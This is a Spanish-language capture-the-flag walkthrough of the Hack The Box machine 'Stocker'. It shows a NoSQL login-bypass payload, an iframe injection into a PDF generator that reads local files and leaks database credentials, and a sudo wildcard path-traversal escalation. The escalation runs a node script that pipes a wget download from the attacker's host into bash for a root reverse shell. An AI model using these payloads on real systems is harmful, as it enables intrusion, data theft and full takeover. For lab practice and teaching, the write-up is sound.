This page looks best with JavaScript enabled

Hack The Box - Stocker

 •  ✍️ sckull

En Stocker realizamos Bypass al login del sitio, una vez dentro, logramos leer archivos locales modificando los parametros para la creacion de un PDF mediante un iframe lo que nos permitio acceder por SSH. Finalmente “explotamos” una wildcard y ejecutamos codigo con el comando node lo que nos dio acceso como root.

Nombre Stocker box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.11.196
Maker

JoshSH

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.3, 5.2, 4.9, 5.1, 4.8],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
Nmap scan report for 10.129.4.125
Host is up (0.070s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 3d12971d86bc161683608f4f06e6d54e (RSA)
|   256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_  256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Web Site

El sitio web nos redirige al dominio stocker.htb.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
➜  stocker curl -sI 10.129.4.125
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 15 Jan 2023 00:14:32 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: http://stocker.htb

➜  stocker

El sitio parece ser un sitio estatico, sin ningun tipo de funcionalidad por detras.

image

Directory Brute Forcing

feroxbuster muestra directorios de los recursos del sitio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
➜  stocker feroxbuster -u http://stocker.htb/ -w $MD --depth 1

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://stocker.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔃  Recursion Depth       │ 1
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301        7l       12w      178c http://stocker.htb/img
301        7l       12w      178c http://stocker.htb/css
301        7l       12w      178c http://stocker.htb/js
301        7l       12w      178c http://stocker.htb/fonts

Subdominios

Tras enumerar los subdominios encontramos dev.stocker.htb.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
➜  stocker ffuf -c -w $CM -u http://stocker.htb -H "Host: FUZZ.stocker.htb" -fc 301

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.4.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://stocker.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Header           : Host: FUZZ.stocker.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

dev                     [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 122ms]
:: Progress: [4614/4614] :: Job [1/1] :: 352 req/sec :: Duration: [0:00:13] :: Errors: 0 ::
➜  stocker

User - Angoose

El subdominio muestra unicamente un formulario de login.

image

Ademas observamos que Webppalyzer muestra Express y NodeJS como tecnologias utilizadas por el sitio.

image

Tambien se muestra Express en los headers en BurpSuite.

image

Bypass Authentication

Intentamos realizar bypass utilizando payloads NoSQL, en formato JSON logramos ingresar con uno de los payloads.

1
{"username": {"$ne": null}, "password": {"$ne": null} }

Se muestran varios productos y un boton para el carrito de compras.

image

Los productos se muestran en el carrito.

image

Al enviar nuestra orden observamos un nuevo mensaje.

image

En este ultimo se muestra un enlace hacia un PDF con los detalles de la compra.

image

Reading Files

Al analizar la solicitud de la orden, se observan distintos parametros que luego se muestran en el PDF generado, el cual se muestra en la respuesta.

image

Tras modificar los distintos valores en la solicitud de la orden, estos se muestran en el PDF generado, aunque el valor de la imagen y descripcion parecen no ser utilizados.

image

Modificamos los parametros con etiquetas HTML, unicamente el valor del parametro ’title’ cambia.

image

Utilizando la etiqueta <iframe/> logramos obtener el archivo /etc/passwd.

image

Modificando los estilos y el iframe logramos obtener el archivo anterior completo. Encontramos al usuario angoose y mongodb.

image

index.js

Enumerando y adivinando los directorios de /var/www, logramos obtener el codigo fuente del sitio.

1
<style>body{font-family: sans-serif;font-size: 1px;}</style><iframe src='file:///var/www//dev/index.js' style='height:1050px;width:800px;border:none;'>

image

Encontramos credenciales para la base de datos mongodb.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
[.. snip ..]

const app = express();
const port = 3000;
// TODO: Configure loading from dotenv for production
const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1";
app.use(express.json());
app.use(express.urlencoded({
    extended: false
}));

[.. snip ..]
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
const express = require("express");
const mongoose = require("mongoose");
const session = require("express-session");
const MongoStore = require("connect-mongo");
const path = require("path");
const fs = require("fs");
const {
    generatePDF,
    formatHTML
} = require("./pdf.js");
const {
    randomBytes,
    createHash
} = require("crypto");
const app = express();
const port = 3000;
// TODO: Configure loading from dotenv for production
const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1";
app.use(express.json());
app.use(express.urlencoded({
    extended: false
}));
app.use(
    session({
        secret: randomBytes(32).toString("hex"),
        resave: false,
        saveUninitialized: true,
        store: MongoStore.create({
            mongoUrl: dbURI,
        }),
    })
);
app.use("/static", express.static(__dirname + "/assets"));
app.get("/", (req, res) => {
    return res.redirect("/login");
});
app.get("/api/products", async (req, res) => {
    if (!req.session.user) return res.json([]);
    const products = await mongoose.model("Product").find();
    return res.json(products);
});
app.get("/login", (req, res) => {
    if (req.session.user) return res.redirect("/stock");
    return res.sendFile(__dirname + "/templates/login.html");
});
app.post("/login", async (req, res) => {
    const {
        username,
        password
    } = req.body;
    if (!username || !password) return res.redirect("/login?error=login-error");
    // TODO: Implement hashing
    const user = await mongoose.model("User").findOne({
        username,
        password
    });
    if (!user) return res.redirect("/login?error=login-error");
    req.session.user = user.id;
    console.log(req.session);
    return res.redirect("/stock");
});
app.post("/api/order", async (req, res) => {
                if (!req.session.user) return res.json({});
                if (!req.body.basket) return res.json({
                    success: false
                });

Shell

Utilizando las credenciales por SSH logramos obtener nuestra flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
➜  stocker ssh angoose@stocker.htb # : IHeardPassphrasesArePrettySecure
angoose@stocker.htb's password:

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

angoose@stocker:~$ whoami
angoose
angoose@stocker:~$ ls
user.txt
angoose@stocker:~$ cat user.txt
46312da148f6d8ec5f9cfea078aa4c0c
angoose@stocker:~$

Privesc

Tras ejecutar sudo -l -l observamos que es posible ejecutar node a cualquier archivo .js de la carpeta /usr/local/scripts/.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
angoose@stocker:~$ sudo -l -l
[sudo] password for angoose:
Matching Defaults entries for angoose on stocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User angoose may run the following commands on stocker:

Sudoers entry:
    RunAsUsers: ALL
    Commands:
	/usr/bin/node /usr/local/scripts/*.js
angoose@stocker:~$

Sin embargo no tenemos permisos de escritura dentro de esta carpeta.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
angoose@stocker:/usr/local/scripts$ ls -lah
total 32K
drwxr-xr-x  3 root root 4.0K Dec  6 10:33 .
drwxr-xr-x 11 root root 4.0K Dec  6 10:33 ..
-rwxr-x--x  1 root root  245 Dec  6 09:53 creds.js
-rwxr-x--x  1 root root 1.6K Dec  6 09:53 findAllOrders.js
-rwxr-x--x  1 root root  793 Dec  6 09:53 findUnshippedOrders.js
drwxr-xr-x  2 root root 4.0K Dec  6 10:33 node_modules
-rwxr-x--x  1 root root 1.4K Dec  6 09:53 profitThisMonth.js
-rwxr-x--x  1 root root  623 Dec  6 09:53 schema.js
angoose@stocker:/usr/local/scripts$ echo "#" > file.js
-bash: file.js: Permission denied
angoose@stocker:/usr/local/scripts$

Si observamos bien el comando especificado en sudoers contiene una wildcar la cual podemos explotar.

Iniciamos creando un archivo .js que contiene la ejecucion de una shell inversa.

1
2
3
angoose@stocker:~$ cat /tmp/abc.js
require("child_process").exec('wget -qO- http://10.10.14.4/10.10.14.4:1338|bash')
angoose@stocker:~$

Ejecutamos el comando con sudo especificando nuestro payload con los caracteres ../ hasta llegar al directorio donde nuestro archivo se encuentra.

1
angoose@stocker:~$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/*.js

Logrando asi, ejecutar nuestro archivo, obtener una shell y lograr la lectura de root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
➜  stocker sudo nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.14.4] from stocker.htb [10.129.4.145] 34254
# whoami
root
# cd /root
# ls
root.txt
# cat root.txt
7c1c0fc8024d2ee4533b69450b06728d
#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe